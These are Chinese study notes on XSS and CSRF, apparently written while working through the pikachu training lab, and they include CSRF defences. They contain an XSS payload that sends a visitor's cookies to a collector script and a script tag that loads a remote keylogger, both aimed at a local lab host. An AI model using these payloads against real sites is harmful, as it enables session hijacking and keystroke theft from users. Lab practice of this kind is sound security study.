8.XSS和CSRF漏洞
XSS和CSRF漏洞
XSS漏洞介绍
XSS(Cross-Site-Scripting),即跨站脚本攻击,是指攻击者利用Web服务器中的代码漏洞,在页面中嵌入客户端脚本(通常是一段由JavaScript编写的恶意代码),当信任此Web服务器的用户访问Web站点中含有恶意脚本代码的页面,用户浏览器会自动加载并执行该恶意代码,从而达到攻击的目的。
XSS分类
- 反射型XSS
- 存储型XSS
- DOM型XSS
利用XSS漏洞如何实行攻击
利用XSS盗取用户的Cookie
可利用pikachu的XSS后台管理,在反射型get中输入代码,在XSS后台管理就可以看到信息。这里的路径需要根据自己的文件路径。
<script> document.location = 'http://localhost/pikachu-master/pkxss/xcookie/cookie.php?cookie='+document.cookie; </script>
按理来说XSS存储型也可以,但是记住,如果用XSS存储型测试,每次进入XSS存储界面就会跳转到index.php,如果想要解决就得去数据库把插入的脚本删掉。数据在pikachu.message中。
利用XSS实行钓鱼
PHP 的 HTTP 认证机制仅在 PHP 以 Apache 模块方式运行时才有效,因此该功能不适用于 CGI 版本。由于我使用的是小皮面板,里面默认的是用CGI/FastCGI,用pikachu靶场实施钓鱼一直没有成功。
利用XSS进行键盘监控
<script src=" http://localhost/pikachu-master/pkxss/rkeypress/rk.js"></script>
CSRF漏洞介绍
CSRF(Cross-Site Request Forgery),即跨站请求伪造攻击。攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
CSRF漏洞攻击条件
- 登录受信任网站A,并在本地生成Cookie
- 在不登出网站A的情况下,访问危险网站B
CSRF防御
- 验证HTTP Referer字段
- 添加token并验证
- 在HTTP头中自定义属性并验证